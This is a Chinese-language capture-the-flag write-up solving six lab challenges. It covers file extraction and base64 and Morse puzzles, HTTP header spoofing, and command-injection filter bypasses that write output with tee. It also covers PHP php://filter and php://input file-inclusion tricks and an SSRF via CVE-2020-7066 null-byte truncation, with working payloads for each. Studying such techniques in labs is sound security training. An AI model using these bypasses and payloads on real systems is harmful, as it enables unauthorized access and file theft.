目录
[SWPU 2019]神奇的二维码
[LitCTF 2023]Http pro max plus
[SWPUCTF 2021 新生赛]finalrce
[鹏城杯 2022]简单包含
[SWPUCTF 2022 新生赛]ez_ez_php(revenge)
[GKCTF 2020]cve版签到
cve-2020-7066:
[SWPU 2019]神奇的二维码
解码看看,是一个错误的flag
用010editor查看,发现存在.rar文件(rar压缩文件十六进制开头52 61 72 21)
将文件放入kali,使用binwalk分离文件
Binwalk
binwalk 文件名 //分析文件
binwalk -e 文件名 --run-as=root //分离文件
分离得4个压缩包
这两个需要解压密码
查看encode.txt文件,base64解码得asdfghjkl1234567890
这是flag.jpg的解压密码,解压后是一张单纯的图片
查看flag.doc文件,试了一下,应该是进行了很多次base64编码得到的
一次一次解很麻烦,找大佬脚本直接跑
base64隐写,多次base64加密解密,文件写入,字符统计-CSDN博客
BUUCTF:[SWPU2019]神奇的二维码_buuctf [swpu2019]神奇的二维码-CSDN博客
// e:/云靶场/base64.txt 要解码的文件路径
import base64
def decode(f):
n = 0;
while True:
try:
f = base64.b64decode(f)
n += 1
except:
print('[+]Base64共decode了{0}次,最终解码结果如下:'.format(n))
print(str(f,'utf-8'))
break
if __name__ == '__main__':
f = open('e:/云靶场/base64.txt','r').read()
decode(f)
解码了20次得到 comEON_YOuAreSOSoS0great
这是good.mp3的解压密码,解压得到一段 滴滴滴 的音频,听起来像摩斯密码
不是很长,手动记录一下(听不清楚可以调慢倍速):
-- --- .-. ... . .. ... ...- . .-. -.-- ...- . .-. -.-- . .- ... -.--
解码得flag内容
[LitCTF 2023]Http pro max plus
打开环境说只允许本地访问,试试xff。bp抓包,添加一个本地管理员身份
看来该方法用不了
查看大佬wp,学习可以控制IP地址信息的新方法——Client-IP
[LitCTF 2023]Http pro max plus-CSDN博客
Client-IP:是另一个用于传递客户端IP地址的HTTP请求头字段,不如X-Forwarded-For常用。
这个字段只包含一个IP地址,即请求的客户端IP地址。
bp抓包传入 Client-IP:127.0.0.1
成功绕过本地访问条件,回显提示说 不是来自pornhub.com,可以利用Referer字段解决
Referer(引用页):表示用户从哪个页面发起的请求。包含了发起请求的页面的URL。
服务器可以根据这个字段来识别用户是从哪个页面跳转过来的,以便进行统计分析、日志记录、缓存优化等。
出于隐私和安全的考虑,有时浏览器可能不会发送Referer字段。
referrer单词拼写错误, 为了保持向下兼容,所以将错就错。
绕过后有提示说要利用Chrome浏览器 ,利用UA伪造浏览器
绕过后又提示要添加代理服务器Clash.win,使用Via字段
Via字段:是一个可选的HTTP请求头字段,其中包含了代理服务器的相关信息。
当请求经过一个或多个代理服务器时,每个代理服务器都会向"Via"字段添加自己的标识。这样做的目的是提供有关请求路径的信息,以便于调试、故障排查和确定请求的来源。
在伪造的时候只需要直接添加代理服务器的名称就行
绕过后得到了一个路径/wtfwtfwtfwtf.php
访问得到3个超链接,啥也没有,查看源代码又得到一个路径 /sejishikong.php
访问得到flag
[SWPUCTF 2021 新生赛]finalrce
GET传参url,正则过滤了 ls cat la 等,可用 \ 转义符或 ' ' 绕过。
\ 转义符:在一些控制字符被过滤的时候,可以用转义符,让控制符失去原本的含义,变为字面量,但作用不变。
'' 内联执行:在linux系统中,反引号作为内联执行,输出查询结果的内容。
exec()函数:执行一个新的程序
不输出结果,但返回执行结果的最后一行
无回显:搭配echo或其他的输出函数 如print_r()函数使得其回显
此处使用输出函数依然无回显,可使用 tee 命令将其写入.txt文件。
linux中 “tee” 是从标准输入读取,再写入标准输出和文件
?url=l\s /|tee 1.txt
?url=l's' /|tee 1.txt
//将根目录写入1.txt文件
访问1.txt文件,发现flag存在
?url=tac /flllll\aaaaaaggggggg|tee 2.txt
?url=tac /flllll'aaaaaaggggggg'|tee 2.txt
//将读取的flag内容写入2.txt文件
访问2.txt文件,得到flag
[鹏城杯 2022]简单包含
打开环境发现flag.php路径,POST传参flag
尝试使用file://协议访问本地文件系统,发现有waf
file:// [文件的绝对路径和文件名]
flag=file:///flag.php
flag=file://var/www/html/flag.php
尝试访问index.php,无法读取。
于是使用php://filter伪协议 读取源代码并进行base64编码输出。
flag=php://filter/read=convert.base64-encode/resource=flag.php
//访问index.php
flag=php://filter/read=convert.base64-encode/resource=index.php
回显一串base64,解码后得到了真实的代码
<?php
$path = $_POST["flag"]; // 从 POST 请求的 "flag" 参数中获取路径
// 如果从 php://input 读取的内容长度小于 800 字节,并且 $path 包含 "flag" 字符串,则输出 "nssctf waf!",否则尝试包含 $path 指定的文件(即读取flag)
//php://input 将post请求中的数据作为PHP代码执行
if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
echo 'nssctf waf!';
} else {
@include($path);
}
?>
第一层: php://input post传入字符串的数量大于800
第二层: php://input 传入的字符串中不包含flag
python生成801个字符串a
构建payload传入,解码得到flag
[SWPUCTF 2022 新生赛]ez_ez_php(revenge)
<?php
error_reporting(0); // 设置错误报告级别为0,即关闭错误报告
if (isset($_GET['file'])) { // 如果存在$_GET['file']这个变量
if (substr($_GET["file"], 0, 3) === "php") { // 如果$_GET["file"]的前三个字符是"php"
echo "Nice!!!"; // 打印"Nice!!!"
include($_GET["file"]); // 包含指定的文件
}
else {
echo "Hacker!!"; // 打印"Hacker!!"
}
} // 如果$_GET['file']不存在
else {
highlight_file(__FILE__); // 高亮显示当前文件的内容
}
//flag.php
提示file参数的前三个字符是php,想到使用php://filter读取源代码并进行base64编码输出。
?file=php://filter/convert.base64-encode/resource=flag.php
解码,提示flag在/flag路径下
<?php
error_reporting(0); //隐藏报错
header("Content-Type:text/html;charset=utf-8"); //设置了HTTP响应头,指示浏览器内容类型为HTML,字符编码为UTF-8。
echo "NSSCTF{flag_is_not_here}" ."<br/>";
echo "real_flag_is_in_ '/flag' "."<br/>";
echo "换个思路,试试PHP伪协议呢";
改payload为: ?file=php://filter/convert.base64-encode/resource=/flag
base64解码得flag。
[GKCTF 2020]cve版签到
打开环境 提示 你只需查看*.ctfhub.com(即url要以ctfhub.com结尾)
故ssrf的URL伪协议都用不了
点击View CTFHub 会返回一些信息
F12发现hint flag在本地,且为url传参,判断为ssrf
尝试访问本地环境127.0.0.1 ,还是回显刚开始的界面 结尾又是固定的... ...
题目提到cve,不知道是什么 查看大佬wp后了解cve-2020-7066。
什么是CVE? CVE漏洞应该如何防护?_cvd cve-CSDN博客
CVE(Common Vulnerabilities and Exposures)的全称是公共漏洞和暴露,是公开披露的网络安全漏洞列表。在CVE中,每个漏洞按CVE-1999-0067、CVE-2014-10001、CVE-2014-100001这样的形式编号。
cve-2020-7066:
根据阿里云漏洞库:CVE-2020-7066 是 php 函数 get_headers 中的信息泄漏漏洞。
在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,同时将get_headers()与用户提供的URL一起使用时,如果URL包含零(\0) 字符,则URL将被静默地截断。
这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。(即 %00 截断)
于是使用%00截断只访问到127.0.0.1环境,构造payload:
?url=http://127.0.0.1%00www.ctfhub.com
payload改为: 得到flag
?url=http://127.0.0.123%00www.ctfhub.com